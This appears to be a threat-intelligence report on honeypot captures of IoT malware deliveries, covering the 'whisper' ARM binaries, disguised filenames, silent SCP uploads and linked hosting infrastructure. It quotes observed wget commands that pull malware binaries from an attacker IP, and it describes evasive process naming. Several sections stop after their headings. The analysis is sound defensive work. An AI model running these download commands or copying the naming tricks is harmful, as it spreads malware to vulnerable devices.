TI-2026-037C
The Ghost Machines

I. Abstract — 26 Packages, 16 Fingerprints

Every compromised device receives a delivery. Sometimes it's a binary downloaded via wget. Sometimes it's uploaded directly through SCP. Sometimes it arrives with a name designed to blend in. Sometimes it arrives with no name at all.

The LSN honeypot has captured 26 file deliveries containing 16 unique SHA-256 hashes. These deliveries came from 6 distinct hosting servers, via 4 distinct methods, targeting 2 CPU architectures. Together, they reveal the complete supply chain of malware delivery — from compilation to deployment, from C2 server to compromised device.

This dossier follows each delivery method from the source to the device, identifies the infrastructure behind each malware family, and maps the relationships between delivery networks that appear independent but share operational patterns.

II. The Four Delivery Methods

How a binary arrives tells you as much as what it does. The delivery method reveals the operator's sophistication, their infrastructure preferences, and their relationship to the target device.

The HTTP Pull operators are the loudest. The SCP Push operators are the quietest. And the Named Drop operators are the most interesting — they're thinking about what a system administrator would see if they glanced at a process list.

III. The Whisper — Latvia's ARM Malware Factory

On June 13, 2026, at 12:05 UTC, a single IP — 31.170.22.205 — logged into the honeypot and downloaded three files from itself:

wget http://31.170.22.205/bins/whisper.armv5   # ARM v5 (old routers, embedded)
wget http://31.170.22.205/bins/whisper.armv5   # Retry (same hash)
wget http://31.170.22.205/bins/whisper.armv5   # Retry (same hash)
wget http://31.170.22.205/bins/whisper.armv6   # ARM v6 (Raspberry Pi 1, newer routers)
wget http://31.170.22.205/dl600               # Loader/downloader binary

The scanner downloaded its own malware from its own server. This is the simplest possible C2 architecture: the scanning node is the hosting node. No separation between the attacker and the payload.

The binary names tell the story: whisper.armv5 and whisper.armv6 target two generations of ARM processors. ARMv5 dates to the early 2000s — found in old Linksys WRT routers, early NAS devices, and first-generation IoT hardware. ARMv6 is the Raspberry Pi 1/Zero architecture and modern consumer routers. The name "whisper" is deliberately quiet — a process called "whisper" in a system process list is less alarming than "mirai" or "botnet."

Both architecture binaries share the same SHA-256 hash: 58189cbd4e6dc0c7... — which means they're either the same binary (a fat binary or an architecture-agnostic script) or the C2 server is serving the same file regardless of the requested architecture. The latter would indicate a rushed or test deployment.

The companion binary dl600 (SHA-256: d5ecab0f13eb33cf...) is a loader — a small program whose only purpose is to download and execute the next stage. The "600" likely refers to a configuration parameter (possibly a port number, a sleep interval, or a build iteration).

IV. The meow Pipeline — Google Cloud's Shadow

The meow delivery pipeline was detailed in TI-2026-037B, but its infrastructure deserves a delivery-focused analysis.

The contrast with the whisper operation is instructive:

V. The "notwork-monitoring" — Four Hashes, One Hour

On June 8, 2026, between 21:03 and 22:22 UTC — a window of 79 minutes — four files arrived at the honeypot. All four were named notwork-monitoring. All four had different SHA-256 hashes.

The name "notwork-monitoring" is a masterpiece of social engineering. At a glance in a process list:

$ ps aux | grep monitor
root     1234  0.1  0.2  notwork-monitoring     # Looks like a network monitoring tool
root     5678  0.0  0.1  /usr/bin/node_exporter  # Actual Prometheus exporter

A system administrator scanning their process list would see "notwork-monitoring" and assume it's a legitimate network monitoring daemon — perhaps installed by another admin, perhaps part of a monitoring stack. The deliberate misspelling of "network" as "notwork" could be interpreted two ways: a typo by a non-English-speaking operator, or a deliberate evasion of keyword-based detection rules that look for exact matches of "network-monitoring."

The four different hashes in 79 minutes suggest an operator who is actively compiling and deploying. They upload build #1, test it, compile a fix, upload build #2, iterate. This is real-time development and deployment against a live target — the honeypot is being used as a test environment.

VI. The Silent Uploads — No URL, No Command, Just a File

Eight file captures have no URL and no download command in the session logs. These files appeared on the honeypot filesystem without any visible mechanism — no wget, no curl, no shell command at all.

The hash a8460f446be54041... is the most significant: six different source IPs uploaded the exact same binary. This means six nodes in a botnet share the same compiled payload and deploy it via direct file transfer. They don't download it from a C2 server — they carry it with them. The binary is embedded in the scanning tool itself.

This is the most operationally secure delivery method. No external C2 server. No HTTP request logged. No URL for a firewall to block. The malware travels inside the SSH session, invisible to network-level detection. The only evidence is the file hash — and only a honeypot specifically designed to capture file transfers would record even that.

There is also Tmwl3bcg — a randomly generated 8-character string used as a filename. This is anti-signature naming: the filename changes with every deployment, preventing any rule-based detection that matches on known malware filenames. The hash 6d1fe6ab3cd04ca5... was seen only once, on June 21.

VII. w1n ltd — The UK Company That Isn't

The whisper C2 server at 31.170.22.205 (Sia Nano IT, Latvia) shares its HASSH fingerprint — 57e4cc8ee36c3d78 (paramiko_script) — with a 3-node cluster belonging to w1n ltd (AS42237).

The Paramiko fingerprint connects w1n ltd directly to the Whisper C2 server. Both use the same Python SSH library with the same version and configuration. The connection is not circumstantial — it is a shared toolchain. The operator wrote their scanner in Python using Paramiko, deployed it on w1n ltd infrastructure in Sweden, and hosted their malware payloads on Sia Nano IT infrastructure in Latvia.

The credential pattern reinforces this: admin:admin (3,717 uses) and admin:123456 (1,687 uses) — identical to the proxy hunter campaigns documented in TI-2026-037A. Same credential dictionary. Same target profile. Different infrastructure.

VIII. The Architecture Map — Who Delivers What to Where

The complete delivery network, assembled from all evidence:

The architecture targets reveal the market segmentation of IoT malware:

IX. The Questions That Remain